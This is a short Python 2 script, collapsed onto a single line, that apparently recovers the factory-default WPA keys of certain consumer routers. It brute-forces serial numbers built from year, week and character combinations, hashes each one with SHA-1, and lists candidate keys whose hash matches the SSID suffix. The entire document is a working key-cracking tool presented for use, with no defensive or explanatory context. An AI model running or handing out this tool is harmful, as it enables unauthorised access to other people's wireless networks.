#!/usr/bin/python # -*- coding: mac_roman -*- import sha from datetime import date from optparse import OptionParser parser = OptionParser() parser.add_option("-i", "--ssid", dest="ssid", help="SSID of the box", default='') (options, args) = parser.parse_args() ssid = options.ssid if ssid == '': print "No key provided. Launch with -h for help." else: print "Searching keys for SSID %s" % ssid hexaend = ssid[-6:].lower() hexvalues = [] for i in xrange(ord('A'), ord('Z')+1): hexvalues.append(hex(i)[-2:].upper()) for i in xrange(ord('0'), ord('9')+1): hexvalues.append(hex(i)[-2:].upper()) candidates = [] for y in xrange(2008, date.today().year+1): print "Year %d..." % y for w in xrange(101, 152): snb = 'CP'+str(y)[-2:]+str(w)[-2:] for X in hexvalues: snb2 = snb+X for Y in hexvalues: snb3 = snb2+Y for Z in hexvalues: sn_sha = sha.sha(snb3+Z).hexdigest() if sn_sha[-6:] == hexaend: candidates.append(sn_sha[:10].upper()) if len(candidates) == 0: print "No keys found." else: print "Candidates:" for key in candidates: print ' '+key